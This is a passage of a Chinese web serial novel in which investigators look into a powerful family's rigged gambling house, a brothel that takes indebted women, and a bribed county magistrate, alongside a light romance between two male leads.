“所谓报子,其实就是那些与联合赌坊相互勾结、沆瀣一气之人。他们会设下圈套和骗局,让赌客们不知不觉间陷入其中,最终输得倾家荡产。” 司徒信无奈地摇了摇头,尽量解释的直白一些。 秦在锦顿时恍然大悟,连忙向身旁的两人挥挥手,示意他们接着刚才的话题继续聊下去。 于是,三人边走边闲聊着赌坊的事儿。 等秦在锦反应之时,白简承已然跟着他们走了一段路程。 若是此时再赶人走,恐怕有点儿不近人情、也不太合适。 “有什么不妥当的?”邱漓将目光投向有些别别扭扭的冬苓,疑惑地问道。 “这...这...这成何体统!” 只见冬苓紧盯着眼前那套不堪入目的衣服,脸上写满了抗拒与厌恶,连身体都不由自主地往后退去。 站在一旁的应婆笑得眼睛都眯成了一条缝,嘴里催促道:“姑娘快换上吧,龟公的人一会就要过来了。” 三生殿共有三位管事之人,其中应婆专门负责打理二殿的大小事务。 她曾经受过司徒家的帮助,如今倒也成了司徒信放在这里的眼线。 原本,司徒信几乎快要忘记还有这么一号人物的存在了。 若不是冬苓询问是否有办法能够悄悄潜入此地时,恐怕司徒信也不会想起这位应婆来。 就这样,二人带着司徒信的亲笔书信,恰好赶在应婆准备出门之前拦住了她。 信上的内容简单且直白,无非就是:这二人是来调查逼良为娼一事,你找个法子让她们混进去。 本小章还未完,请点击下一页继续阅读后面精彩内容!“我应该跟着洵哥走的,让锦哥来这儿。” 冬苓一边不情愿的换衣服,一边小声地嘟囔着。 “锦哥来了也进不去呀。”邱漓回。 “他那张脸,就算是女装,也不突兀。” 一听这话,邱漓脑海中不由自主地浮现出秦在锦身着女装时的模样。 仔细思量一番后,竟觉得这个主意或许可行! 就在两人交谈之际,一阵急促的敲门声骤然响起。 门外传来一名男子焦急的催促声,询问应婆屋内的姑娘们是否已经准备妥当。 “好了好了,马上就好。” 应婆高声回道,同时还不忘伸手帮冬苓整理发间略显凌乱的珠钗。 这俩姑娘与她自己女儿的年纪相仿,再加上她们是受司徒少爷所托,由她代为关照之人,所以应婆对她们愈发喜爱起来。 “刚叮嘱你们的事情,可都记住了?”应婆压低声音,再次向二人确认道。 邱漓看着铜镜中的自己,头也不回的应道:“记住啦记住啦,婆婆放心,我们心里有数呢。” 她不敢想自己也会有精心打扮的一天,虽然身上这衣裳有些差强人意,但脸上的妆容她很喜欢! 要是小展在就好了,一定又会夸她美若天仙! 虽然小展根本就没见过什么天仙。 伴随着轻微的开门声响起,邱漓和冬苓缓缓踏出房门,紧紧跟随在应婆身后。 一路上,二人始终微微低着头,目光专注于脚下的路,不敢随意张望四周,时刻谨记应婆的叮嘱。 行走途中,冬苓察觉到还有另外几位姑娘走了过来,默默跟在她们身后。 甚至,她还隐隐约约听到了一阵低低的啜泣之声,那声音宛如风中残烛般微弱,却又清晰可闻,令人心生怜悯。 不多时,众人来到了一座精致典雅的水榭前方。 只见水榭之中端坐着一名女子,正有意无意地翻阅着手中的书籍。 也不知她到底看没看。 无论是从她身上佩戴的珠宝,还是举手投足间流露出的从容优雅,都不难让人猜出她的身份。 当应婆将她们引领至指定位置后,便转身与另外两人一同站立在那位女子的身后。 紧接着,只听得她轻启朱唇,柔声问道:“人都已经到齐了吗?” 身后三人赶忙齐声回应道:“是。” “那便开始吧,苏二。” 话落,她将页签放在看到的那一页上面,而后合上了那本书。 被呼喊到的那位男子从水榭旁边徐徐踱步而出,高声道:“诸位姑娘听好了!不管你们之前什么来历,亦或是什么身份,如今到了这儿就甭想着能再回去了。” 接着,他清了清嗓子继续说道:“小姐给了牌子的,那便留在殿内;若是给了荷花的,便去殿外侍奉。” “现在,我会依次念出各位的名字,请听到名字的人走上前来一步。” 此刻,站在人群队伍最后方的冬苓与邱漓不禁默默地对视了一眼。 什么殿内?什么殿外? 婆婆没教啊! 在连续看了十几位姑娘之后,谈茗聆有些无聊地打了个哈欠。 除了第三位被叫到的姑娘面容姣好、姿容秀丽些,其她姑娘看起来,总是差些意思。 甚至眼前儿这姑娘脖子上还有一道尤为明显的疤痕,她心情瞬间变得烦躁不堪,嘴里更是不满地发出了一声清脆的“啧”声。 谈东轩到底怎么办的事儿? 这不是明摆着要砸她招牌? 她这难道是可怜少女收容所吗? 真是什么样的人都敢收下来往她这儿放。 就在苏二准备将桌上的一支荷花递给那姑娘时,谈茗聆开口了。 只听她慢悠悠地说道:“此等样貌,也配留在我三生殿?” 苏二听到这句话后,不由得心里一紧,毕恭毕敬地向谈茗聆问道:“小姐您的意思......是打算如何呢?” “打哪儿来的送哪儿去。” 此时,那位姑娘早已吓得花容失色,一边流泪一边跪了下去。 “小姐,我不能回去!我爹娘去世的早,我兄长一人把我拉扯大。如今他欠了债,我理应要帮他还债。” 她一边抽泣着,一边继续哀求道:“小姐你行行好,我若是回去了,我兄长的命便没了啊!” 说到最后,这姑娘已经哭得声嘶力竭,几乎快要昏厥过去了。 然而,谈茗聆似乎并没有为之所动。 她轻轻叹息一声,随即抬起右手,将耳边散落下来的几缕青丝拢至耳后,淡淡说道:“瞧你也是个命苦的,只是......” 她稍稍停顿了一下,紧接着说道:“你兄长的命,与我何干?” 话音未落,只见从旁边立刻走出两名身材魁梧的侍从,不由分说地架起那位仍在不停地哭喊求饶的女子,将她拖出了门外。 约莫又过了半炷香的时间,在邱漓都快等睡着的时候,听到了“咣当”一声的动静。 这是,有人被撂牌子了? 刚想踮着脚抬头去看的时候,又想起应婆叮嘱的话,立马将头垂了下去。 小主,这个章节后面还有哦,请点击下一页继续阅读,后面更精彩!此时,从她这个角度只能看到那姑娘的衣裙。 其裙摆处精心绣制着几只鲜艳欲滴的红梅,从远处眺望过去,宛如衣服上面被肆意泼洒了红墨似的。 不,更贴切些来说,倒更像是不小心溅上去的点点鲜血,触目惊心而又透着几分艳丽。 “冬苓——”苏二的呼喊传来。 冬苓闻言,迈着轻盈的小碎步缓缓上前。 当她抬起头来之时,那双明亮如星的眼眸也跟着一同抬了起来。 原本坐在椅子上的谈茗聆还有些困倦不堪,这一刻,却突然眼前一亮。 眼前的姑娘约莫二十岁左右的年纪,容色娇艳,眼波盈盈,身材苗条婀娜但又丝毫不见柔弱之态。 在与谈茗聆对视之时,她既没有流露出丝毫的畏惧之色,也不曾表现出半点谄媚之意。 光这一点,就让谈茗聆很是喜欢。 “给牌子。”谈茗聆随意地摆了摆手吩咐道。 站在一旁的苏二闻言,赶忙恭恭敬敬地将一块雕刻着荷花图案的牌子递到冬苓的手中。 他知道小姐向来比较欣赏这种类型的姑娘,身上或多或少都带点傲气。 只是不知,这股子傲气能在三生殿撑多久。 且说刚刚那位姑娘,其心气之高令人咋舌,仿佛世间万物皆不入其眼。 可往往越是心高气傲之人,在三生殿越容易被针对。 想到这里,苏二不禁在心底暗暗叹了一口气。 冬苓接过牌子,正欲转身离去之际,忽然瞥见应婆向她递来的眼色,暗示她道了谢再走。 行吧! 虽然她也不知道这种事儿有什么好谢的,但还是乖乖地朝谈茗聆施了一礼。 紧接着,下一个被喊到名字的人是邱漓。 只是,那丫头脸上却是一副心事重重的模样。 谈茗聆看着邱漓,轻声言道:“抬起头来。” “看什么呢?” 与此同时,傅霖看着站在门前盯着走廊一动不动的江洵问道。 “你不觉得这走廊有些歪斜么?”江洵缓缓回道。 “许是房子建歪了呢。” 傅霖话落,将房间的钥匙随意放在一旁的桌子上。 虽然要了两间厢房,但保险起见,睡在一间更安全。 完全没有别的意思,就是为了查案更方便一些。 喜欢青山覆雪请大家收藏:()青山覆雪更新速度全网最快。 第170章 声 房子建歪了? 谈家会犯这种低级的错误么? 江洵一边若有所思地想着,一边缓缓转过身去,并顺手将房门轻轻地合上。 不是,他现在怎么瞧儿着这门也是歪的? 简直是歪门邪道! 但又转念一想,莫非有问题的人是他? 傅霖看着那人走两步顿一步的样子,忍不住笑出声来,“想什么呢你?” 那人听到他的问话,回头望着他,上下打量一番后,回道:“看来我没问题,你就挺直的。” 哈? 这话他该怎么回? 罢了,他选择不回。 这间客房总体来说还算不错,虽然处于走廊最末端,但好在向阳,整个房间十分亮堂。 傅霖径直走向窗边,将窗户一扇扇依次推开。 暖风吹动洁白的窗纱,它们如同有了生命般在空中缓缓摇曳着。 此刻,无形化为有形。 只是,当他开到最后一扇窗户时,察觉出些许不对的地方。 从窗外吹来的风不再像之前那般轻柔宜人,反而是一阵寒意扑面而来,让人不由自主的打了个冷颤。 傅霖双眼微眯,视线从窗台移至窗外的草地。 只见草地中央,一棵孤零零的大树矗立其中,与周围的景致相比,显得格外突兀。 树? 这么一棵树移栽过来,想必也是费了一番功夫吧。 “可有发现什么不对的地方?” 傅霖转过身来,面向躺在床上的江洵,轻声询问道。 此刻的江洵,正目不转睛地盯着头顶上方悬着的横梁。 听到傅霖的问话,江洵稍稍挪动了一下身体,然后抬手轻轻拍了拍身旁空出来的位置,“有,过来看看。” 傅霖依言走到床边,小心翼翼地躺在江洵所指的空位上。 顺着江洵的目光望去,只见那横梁之上隐约刻着一些符文。 有些符文的刻画较重,仔细辨认后,还能看出个大概。 而还有些符文却已经模糊不清,无法分辨其究竟刻的是什么。 “禁制?”傅霖面露疑惑之色,喃喃自语道。 先前听卜南提起过,这谈家曾特意请过一位得道高僧,为这院子布下重重禁制。 江洵摇了摇头,他对这阵法这方面研究不多。 若是冬苓在这儿就好了,以她对阵法的精通程度,说不定能够看出一些端倪。 “这横梁......” 江洵这话还未说完,就被傅霖出声打断了,“直的,别看了。” 听到这话,江洵不由得愣住了,短暂的沉默之后,像是突然被戳中了某个奇怪的笑点一般,开始大笑起来。 江洵一边用手抹着眼角笑出的泪花,一边断断续续地回应道:“我不是说这个。” 傅霖属实没想通,他方才那句话有什么好笑的? 可当他侧着身子看向江洵时,那人正笑的一副毫不设防的样子。 傅霖见状,竟也不由的跟着笑了起来。 “那你问哪个?” “快别笑了,问你话呢。” 嘴上说着让人别笑了,可他自己却嘴角微翘的盯着江洵看。 那人眼底的情意没有一丝一毫的掩饰,满满当当,似欲溢出。 江洵抬手指向头顶上方的横梁,再次说道:“这横梁……” “昂,横梁怎么了?” “这床摆放的位置不对,横梁压床属于形煞。” 江洵逐渐收敛了笑意,郑重其事的解释着。 “好好好,你是把学习阵法的时间用去研究风水了是吧?”傅霖带着几分调侃的语气道。 “宁可信其有,不可信其无。” 江洵说完这话,用力一挺腰板,从床上直直坐了起来。 紧接着,他抬起脚,轻轻地踢了一下傅霖的小腿,让他快别躺了。 “你想放哪边?” 傅霖说话间站起身来,并活动着筋骨。 他认为江洵方才那话的言外之意,要么是把横梁砍了,要么是把这床给挪了。 但显然不会是前者,毕竟这儿不是自己家。 当然,自己家也不会这么摆横梁了。 所以,只能是后者,挪动床的位置,使其不被上方的横梁压着。 江洵转过身子,打量着屋子的布局和家具的摆设。 其实这间屋子空间够大,能放床的地方有很多。 只是,他不太喜欢将床紧挨着窗户摆放。 若是晚上漏风的话,怪冷的。 最后,他指了指门侧的位置,床头靠着墙壁,床尾对着最后一扇窗户的位置。 这样一来,既不会冷,也不会看着碍眼。 “你确定?” 傅霖皱起眉头看了眼那个位置,若他方才的直觉没有问题,窗外那棵树上绝对藏着不干净的东西。 “确定。”江洵不以为意地点了点头。 “成。” 傅霖见状,微微颔首,表示同意。 他并未多说什么,也没提及这位置有些不太妥当。 左右他晚上也一并住这儿,那就不会有什么太大的问题。 既如此,倒不如就随了江洵的心意,他想如何折腾便如何折腾。 小主,这个章节后面还有哦,请点击下一页继续阅读,后面更精彩!二人调整好床的位置后,便拿起放在桌上的钥匙,朝门外走去。 本以为这碧水轩经历过死人一案,便不会再有什么客人到这儿光顾。 可令江洵没想到的是,这梅园依旧坐了不少人。 一名机灵的小厮远远地瞧见江洵和傅霖走来,立刻快步迎上前去,手脚麻利地为他们找到了一个合适的座位。 紧接着,小厮从怀中掏出一份精致的菜单,毕恭毕敬地递到他们面前,请他们先行点选一些点心和茶水,以便解解闷儿。 “一会唱什么呢?”傅霖一边翻看着手中的菜单,一边随口询问道。 “回大人话,今晚唱的是《桃花扇》” 那小厮一边说着,一边微微躬下身子,脸上挂着讨好的笑容。 他脸颊靠近唇角之处长有一颗黑痣,说话的时候,由于面部肌肉的牵动,那颗痣也跟着轻轻晃动起来。 傅霖点头回应,表示知晓,随后将菜单递给小厮,让他先紧着茶水上。 他盐味小,上午那馅饼对他而言稍显咸了些,不过江洵却说味道刚刚好。 自离开客栈后直至此刻,傅霖滴水未进,此时只觉口中干渴难耐。 就在二人自顾自地打量起这梅园的布局时,人群之中爆发出一阵喧闹的起哄之声。 江洵循声望去,但见一位衣着华贵的男子正迈着大步从门口缓缓走来。 在其身侧,紧跟着一名身形纤细瘦弱的少年。 那少年看上去约摸十七八岁年纪,生得眉清目秀、唇红齿白,当真称得上是俊美非凡。 尤其引人注目的是他那一双眼眸,犹如秋水般清澈动人。 只是每当与人对视时,总会不自觉地微微垂下眼帘,似乎不敢直接望向对方,如此神态反倒更添几分惹人怜爱的气质。 没错,江洵觉得“怜爱”二字用在那人身上再贴切不过了。 可当江洵的视线挪移到他身旁那人身上时,却发现那人格外的眼熟。 再定睛一看,那人不就是昨天晚上,在四楼一直盯着自己看的死变态吗? 与此同时,那个人似乎也敏锐地捕捉到江洵投来的目光。 二人视线相对的瞬间,那人眼底闪过一丝难以言喻的喜色。 既像是突然之间的惊讶,又仿佛带着几分按捺不住的兴奋。 从旁人恭维的声音中,江洵也猜出来那人是谁了,谈家大公子谈东轩。 可他怎么会在这儿? 如果他在这的话,碧水轩的东家之一谈培风又在哪? 秦在锦那边岂不是扑了个空? 傅霖显然察觉到了江洵神色间的异样变化,询问道:“认识?” 江洵收回视线,稍稍向前凑近傅霖一些,压低声音说道:“昨晚上我不是说遇到个奇怪的人么,就是他。” 傅霖闻言,剑眉微挑,朝着谈东轩所在的方向望去。 只见那人斜倚在圈椅上,别有深意地盯着江洵打量起来。 这种不怀好意的目光,让傅霖心中顿感不爽。 他是个男人,他自然瞧得出那人昭然若揭的心思。 傅霖脸色微变,原本温和的神情瞬间被阴沉取代,沉声道:“他做什么了?” 江洵一脸从容地回道:“没什么,就是看我了。” “看你了?” “嗯,只是看我了。” 江洵迎上傅霖的视线,那双清澈明亮的眼眸之中满是坦诚。 与此同时,坐在距离他们不远之处的谈东轩也注意到了这边的情况。 只见他优雅地挥了挥手,将守候在旁的小厮唤至跟前。 然后朝着江洵所在的方向稍稍抬了抬下巴,低声询问道:“那位身着青衫的公子是谁?看起来倒是有些面生。” 小厮赶忙弯下腰去,恭敬地回答说:“应该是司徒家的二少爷——司徒意。” 谈东轩听到这话,不禁冷哼一声。 他不是没有见过司徒意,那张脸虽说长得还算得上是眉清目秀,可那身子骨却实在羸弱得很,说白了就是一个病秧子罢了。 跟眼前这位意气风发的少年郎,可不一样。 甚至连怀里这位,同他比起来都稍有逊色。 不过,唯一让谈东轩有些在意的是,与他同行的那位公子,看起来是个不好惹的。 谈东轩念及此,有些不耐烦的说道:“应当?给本少爷把人查仔细了再回话!” 小厮赶忙连连点头应是,转过身匆匆忙忙地跑走了。 此时,一名面容姣好的侍女款步而来,待走到谈东轩所坐的桌子面停下脚步。 她先是微微福身行了一礼,接着便柔声细语地开口说道:“公子,该去梳妆了。” 那人漫不经心的“嗯”了一声作为回应,随后才不紧不慢地从谈东轩怀中站起身来,施施然地转身离开了。 他前脚刚走,谈东轩后脚就派亲卫将碧水轩最好的茶水和糕点送至江洵所在那一桌。 此时,傅霖看着一盘盘精致的点心被端上来时,顿时有些疑惑。 这同他方才点的那些东西,不能说是没有关系,只能说是两模两样。 这章没有结束,请点击下一页继续阅读!“这是?”他开口问道。 听到傅霖的问话,那名亲卫连忙拱手作揖,恭恭敬敬地解释说:“回公子话,这是我家大人送给这位公子的一点心意。” “哦。” 傅霖随口应了一句,随即便伸手准备拿一块桃酥尝尝味道。 然而,他的动作还未完成,就被眼疾手快的亲卫当场出声制止:“欸诶诶,公子且慢,这都是送给他的。” 傅霖听闻此言,不仅没有丝毫收敛之意,反而冷冷地笑了一声,说道:“他的,就是我的。” 说完,不顾亲卫的阻拦,毫不犹豫地拿起那块桃酥,津津有味地品尝起来。 “你!” 看到傅霖这般嚣张跋扈的举动,他虽有不满,但也知道这里的人非富即贵,他惹不起。 无奈之下,他只得重重地哼了一声,转身离去。 他惹不起,总有人惹得起,这事儿他只需如实传达给谈东轩便是。 待那人走了之后,江洵目光落在眼前正低着头吃东西的傅霖身上。 只见他眼尾微扬,轻声问道:“我的,就是你的。关于这件事情,我本人知道吗?” “你现在知道了。” 江洵见状,不禁笑出声来,接着追问道:“那你的呢?” 傅霖停下手中的动作,认真地看向江洵,郑重其事地说道:“我的,全是你的。” 江洵闻言,虽无奈地摇了摇头,但眉眼间却没有一丝责怪之意。 他怎会不知谈东轩是什么意思,只不过,他一向喜欢令他感到赏心悦目的东西。 至于谈东轩么,差强人意。 “你有没有注意到一个细节?”傅霖问道。 “什么?” “方才走在他身侧的那个人,其实从五官上来看,同你是有些相似的,尤其是那双眼睛。” 江洵回想了一番,他当时虽盯着那人看了片刻,也着重观察了他的神情。 但若说相似,他却看不一二。 “我......我不常看镜子。”江洵说道。 他卧房中从未放过铜镜,每次也只能是从水中的倒影去看清自己的长相。 他自认为长得还算可以,也说得过去。 可如今傅霖却说自己同那人五官相似,倒让他有些不满。 不是不满傅霖的话,也不是不满那位公子的长相,只是不满自己的容貌。 这未免吃亏了些吧。 “我也像他那般,看着好欺负?”江洵不解地问道。 “哈?” 什么是看着好欺负? 不是本来就好欺负? 喜欢青山覆雪请大家收藏:()青山覆雪更新速度全网最快。 第171章 齐 “你那个眼神是什么意思?”江洵追问道。 傅霖叹了口气,解释道:“最初见你之时,确实是这么认为的。” 眼瞅着江洵想要反驳两句,傅霖又立即说道:“但是!我现在不这么认为。” “正如你第一眼见到的我,同现在的我相比,肯定也是有所差异的。” “我问的是现在!” 江洵特意把重音放在了最后两个字上。 “现在,不这么认为。”傅霖认真的回答。 他们是眼型相似,眼尾处都微微上翘,看人时那双眸子总是水汪汪的,让人忍不住想要再多看几眼。 不过,与其说江洵和那人眼型相似,倒不如说与沈亦行的更相像一些。 可是,相似也好,相同也罢,他们终究不是同一个人。 这世间有着数不清的眼眸,或大或小、或圆或长。 可江洵的眼睛在他看来,仅此一双,再无其二。 对待陌生人时,沈亦行的目光更加温和,似春日暖阳轻拂面庞,让人很容易会卸下心防来。 相比之下,江洵则截然不同。 对于旁人的举动他往往视而不见,甚至流露出些许冷漠之意,让人瞧着就有一种疏离感,难以亲近。 而方才那人,却给人一种刻意讨好的感觉,让傅霖很不喜欢。 暮色像一层轻柔地薄纱,悄然覆盖在碧水轩上方。 炷火在微风中轻轻地摇曳着,橘黄色的光芒忽明忽暗。 与此同时,一阵婉转悦耳的丝竹之声如潺潺流水般传入耳畔。 本在交头接耳、闲聊不止的众人,不约而同地安静下来,朝着台上望去。 江洵慵懒的坐在那儿,一只手撑着下巴,一只手随意地搭在桌沿。 修长的手指跟随着乐声,轻轻地敲击着桌面。 待李香君出场后不久,江洵才认出那人是之前被侍女匆匆请走的陆修棋。 只是此时此刻的神情,与先前相比简直判若两人。 台下的他是一副怯生生的模样,台上的他,却是落落大方,毫无半分胆怯之意。 而那谈东轩,更是目不转睛的盯着陆修棋,仿佛是在透过他看向另一个人。 一个容貌相似,却再也回不来的人。 “溅血点作桃花扇,比着枝头分外鲜......” 伴随着剧情的层层推进,台下众人也沉浸其中。 有的眉头皱起,似是对李香君的命运感到揪心。 有的轻轻摇头,仿佛在感慨这世事无常。 送点心茶水的小厮,时不时地弓着腰穿梭在各个桌前。 茶香与戏韵交织在一起,竟真的让人以为这里就是一个再寻常不过的听曲之地。 “俺曾见金陵玉殿莺啼晓,秦淮水榭花开早,谁知道容易冰消!眼看他起朱楼,眼看他宴宾客,眼看他楼塌了……” 婉转的唱腔悠悠传来,像是一把梳子,轻柔地梳理着众人的心绪。 傅霖微微仰头,薄唇轻启:“这戏里唱尽兴衰荣辱,倒也应了世间无常之理。” 修行之路又何尝不是起起落落,多少门派如那朱楼一般,崛起又衰败。 就拿昔日的花朝楼来说,花岐在位时其风头之劲可谓一时无两。 那时的花朝楼声名远扬,众人皆言天底下就没有他们探听不到的消息。 甚至曾有不少人甘愿耗费重金,只为从花朝楼处购得自己想要的情报。 然而,自花停云接掌之后,却一日不如一日。 江湖中人再提及花朝楼时,也只能发出一声声叹息与惋惜。 可瘦死的骆驼,终究还是比马大。 再不看好他们,一旦遇到难处,还是会想着去他们那打听打听消息。 “求求你们再宽限些时日吧,我真的凑不出钱来了。” 此刻,赌坊门前,一男子正双膝跪地,伏于冰冷石板之上,苦苦哀求着。 抬头时,面色苍白,额头鲜血淋漓。 空中传来阵阵闷响,皆是他为爱人求一线生机的回音。 可回应他的只有冷漠无情的目光,以及刺耳的嘲笑声。 有人斥责他毫无骨气,竟然如此低声下气。 还有人嘲笑他愚不可及,居然为了一个尚未过门的女子便倾尽家财,实在是荒唐至极! 吴书世没有在意旁人异样的眼光,依旧一下又一下的磕着头。 他的兰儿温柔善良,没有做过任何错事,没理由要被送去青楼为妓。 她明明是个清清白白的姑娘家,等再过俩月,就会身披嫁衣,嫁他为妻。 这时,赌坊内有一人皱着眉头走了出来,径直来到吴书世面前站定。 此人看着吴书世狼狈不堪的模样,叹息一声说道:“齐家没钱,自然要用闺女抵债。小吴公子,我劝您还是回吧,这世间好姑娘比比皆是,何必要在一棵树上吊死?” 吴书世闻言,沙哑着声音回道:“我此生只娶齐兰一人,旁人再好,与我何干。” 玉饶县内建有一赌坊之事,可谓是人人皆知。 虽说官府表面上对赌博明令禁止,但实际上谁也不敢去招惹赌坊背后的谈家。 小主,这个章节后面还有哦,请点击下一页继续阅读,后面更精彩!这不,云启坊开了这么久,不还是没有听到任何封锁的消息。 即便百姓们怨声载道,纷纷跑到衙门告状要求关闭这家赌坊,可最终都无济于事。 衙门给出的说辞永远都是,赌博一事,本就有输有赢。 况且,你不走进赌坊,不参与赌博,那便不会输钱不会欠债,家中亲眷自然不用被送去抵债。 这种愿打愿挨的事情,有什么好上告的? 可既然你自己主动走进了赌坊,那又怎能怪得了旁人运气好呢? 所谓欠债还钱,天经地义。 不管欠下多少钱财,都理应如数归还债主才对。 怎得玩也玩了,事后却不愿意承担责任,甚至还要厚着脸皮跑到衙门里去耍赖抵账呢? 每当有人前来县衙报案时,郑县令总是这般连哄带骂地将其打发走。 当然,他之所以会这么说,自然是那谈家平日里没少给他好处。 可好死不死,有一次刚收了谈家的贿赂,转身就撞见了正往这边走来的齐咏明。 此人性格极为执拗顽固,无论做何事都是一板一眼的,实在是让人觉得厌烦透顶。 可偏偏他这人又家庭美满,妻子温柔贤惠,儿女也是乖巧孝顺,着实令人妒恨! 好在,当时的齐咏明并没有过多怀疑什么,只是随口询问了一下刚才那人是谁而已。 他费尽口舌,好说歹说才打消了齐咏明的疑虑和猜忌。 本以为这事儿就翻篇儿了,未曾想,数日之后,齐咏明就说他在赌坊见过那人。 这可把郑县令愁的睡不着觉,天色未亮便急匆匆地前往谈家,寻找谈东轩商量对策。 谈东轩只是轻描淡写地说了句:“我会看着办的,你就别插手了”。 这话犹如一阵轻风拂过,并未引起太多波澜。 直至两个月前,郑县令方才察觉到齐咏明有些不对劲。 当再次见到齐咏明时,郑县令不禁心中一惊。 那人憔悴不堪,眼下的黑眼圈都十分明显,一副浑浑噩噩的样子。 他赶忙托人打听才发现,这齐咏明是欠了赌债,正四处找人借钱还债呢。 知晓此事后,郑县令表面上佯装出一副担忧的模样,亲自前往齐咏明家中探望。 踏入那略显破败的屋门,他将一小袋沉甸甸的银两放在桌上,语重心长的同那人说可千万不要想不开。 至于齐咏明眼下的官职,倒也不用担忧。 他自会帮忙隐瞒一二,不让人知道他赌博欠债,让他暂且安心。 正所谓锦上添花易,雪中送炭难。 他这番善意的举动,让齐咏明感激涕零。 当即扑通一声跪倒在地,同他讲述自己这些时日以来,所经历的事情。 他妻子突然间患了重病,每日所需的药钱像一座大山压的他喘不过气。 他那微薄的俸禄,也不过是杯水车薪罢了。 一边是病情的恶化,一边是捉襟见肘的经济。 直到一个认识多年的老朋友来他家中探望之时,同他提及可以去那云启坊碰碰运气。 那人绘声绘色地讲述着自己用赌坊里赚取的钱财飞黄腾达、发家致富。 并且,还信誓旦旦地表示只要有运气和技巧,就能在赌坊中赢得盆满钵满。 可齐咏明并不相信。 他深知一旦踏入赌坊这个无底洞,想要全身而退几乎是天方夜谭。 现实让他陷入两难。 妻子的他等不得,也等不起。 万般无奈下,齐咏明最终还是狠下心来,决定冒险一试。 他怀揣着从朋友那借来的为数不多的银两,忐忑不安的走进了赌坊。 在朋友的细心指点下,亦或者他真的运气好,竟赚到了银子。 出了云启坊之后,他不敢有丝毫耽搁,马不停蹄地赶去药铺,买了急需的药材。 本以为这日子能恢复平静,他只需再攒些钱送兰儿出嫁。 可没几日,妻子的病情非但没有好转,反而愈发严重起来。 甚至开始日日咳血,之前的买的那些药完全不起作用。 心急如焚的齐咏明赶忙请来郎中回诊,大夫却说这病是阶段性的,眼下需换一个方子救治。 但是新的药方意味着需要更换多种昂贵的药引,所需银两绝非小数目。 他没那么多钱了。 家中的积蓄也因为给妻子买药而消耗殆尽。 眼瞅着再过几月,齐兰就要出嫁,他连闺女的嫁妆钱都尚未准备齐全。 眼下又....... 思虑再三,他还是咬咬牙再次进了云启坊。 可他那一晚却输的精光。 他明明就是按照朋友教的那般去做,非但不仅没有赚钱,反倒欠了一屁股债。 那时,有个叫老鄂的人同他说,不着急还钱,甚至愿意借给他钱。 若是能将输掉的钱都赢回来,那么届时只需给他三分利就好。 这条件看似诱人,让心灰意冷的齐咏明看到了希望。 可是,他依旧没有赢,哪怕一次都没有。 雪球越滚越大,催债之人越来越多。 这章没有结束,请点击下一页继续阅读!最终,妻子因没有得到及时的救治,而撒手人寰。 儿子在某一天出门之后离奇失踪,从此杳无音信。 家中与他相依为命的,便也只有齐兰。 一日,老鄂带着一群人来到家中,声称若是再还不上钱,便要带走她闺女。 万念俱灰的齐咏明,决定去求云启坊的东家,希望多给自己一些宽限的时日。 只是来到门前时,忽然听到屋内传出一阵熟悉的笑声。 郑县令好奇地问齐咏明夫人究竟是得了什么病。 谈东轩语气淡漠地回应道:“哪有什么病,不过是中毒罢了。” “可郎中说......” “郎中?什么郎中?哪有郎中啊。” 门内是二人计谋得逞的嘲笑声。 门外是他得知真相后的沉默声。 虽静默,却又震耳欲聋。 他像失了魂儿一般走出乌烟瘴气赌坊。 他木讷地看着川流不息的人群,和熙熙攘攘的街道,忽地笑了。 他说:“穷没有错,错的是这世道的不公。” 话音未落,便毫不犹豫地撞向赌坊门口那尊石狮子像。 随着一声沉闷的撞击声响起,鲜血四溅,染红了地面。 他死之后,吴书世主动承担起为他料理后事的责任。 考虑到齐兰的人身安全,将齐兰接到自己家中避难。 可谈家想要在玉饶县找个人十分容易,齐兰很快就被老鄂的人盯上了。 于是,吴书世接手了齐咏明欠他的债务,想方设法地替他还了一部分。 但他不过是一介书生,根本补不上那么大的窟窿。 齐兰还是被强行带走了。 她本就生的漂亮,自然是要被送去三生殿。 自那之后,吴书世日日来赌坊门前跪着,祈求他们放过齐兰。 “那是我们镇上的秀才。”站在墙后的白简承同秦在锦二人介绍道。 听到这里,秦在锦不禁深深地叹了口气,脸上满是同情与无奈之色。 最终,选择背过身去。 他虽精通医术,但只能医治人身体上的创伤,除此之外的,他无能为力。 他不如秦方礼那般心怀大义,哪怕踩着淤泥,也要将病人高高抬起。 他也不似秦念淑那般雷厉风行,敢想敢做,带着阳春门的医师满大陈跑。 他只能遇见了便救了,救不了便算了。 可若试也不试就见死不救,那么他问心有愧。 喜欢青山覆雪请大家收藏:()青山覆雪更新速度全网最快。 第172章 迎 “司徒兄运气如何?” 秦在锦说话间,眼眸微微眯起,流露出一种蔫坏儿的神情。 心中的小算盘啪嗒啪嗒的响。 司徒信见状不禁来了兴趣,浓眉微挑,意味深长地笑道:“向来极好。” “赌一把?” “都听秦兄的。” 话音刚落,秦在锦便趁着周围没人注意的瞬间,悄无声息地将一粒种子扔到了不远处的吴书世身旁。 吴书世察觉到身边传来的细微动静,有些疑惑地偏过头望去。 只见一个带有书生气的公子正朝他笑着,同时还伸手向他打招呼,似乎是示意他过去说话。 而在这位书生公子的身旁,还并肩站立着另外一位公子哥儿。 那人身上穿着一件暗绿色的窄袖交领外衫,腰间束着一条配有黑金装饰的腰带。 从其衣着打扮来看,显然是出身于富贵之家。 吴书世并不清楚那二人的来历,面对秦在锦突如其来的示好举动,下意识地皱起了眉头。 可这一蹙眉直接牵扯到额头上的伤口,忍不住倒抽了一口凉气。 司徒信看着吴书世的反应,轻声向秦在锦问道:“你觉得他会来吗?” “会。当一个人陷入困境之时,往往会竭尽全力抓住一切自己能抓到的东西,哪怕只是一根稻草。” 秦在锦手腕轻轻一抖,又是一颗种子直直朝吴书世所在的方向飞去。 吴书世见状,目光再次望了过去。 那人脸上依然挂着如春风般和煦的笑容,试图要打消他的疑虑。 犹豫再三,他缓缓站起身来。 可就在他起身的瞬间,许多人的目光都集中在了他身上。 尤其是那些守在赌坊门口的守卫们,更是紧紧地盯着他的一举一动。 吴书世深吸一口气,朝着与秦在锦相反的方向徐徐走去。 白简承见状,正欲抬脚追上前去,却被秦在锦眼疾手快地一把拦住。 只听秦在锦压低声音,沉声说道:“先等等。” 赌坊门口站着的守卫,还在盯着吴书世。 一直到他的身影完全消失在巷尾后,那守卫才收回视线。 “他方才走的那条路,除了从这儿直接走过去之外,还有什么别的小道儿吗?” 秦在锦转头看向身旁的白简承,开口问道。 他猜到了吴书世的心思,那是个聪明人。 如果就这样大摇大摆地径直走向自己,必然会轻而易举地引起守卫们的警觉。 所以,他选择先行离去,并且特意在即将右转时停顿了片刻。 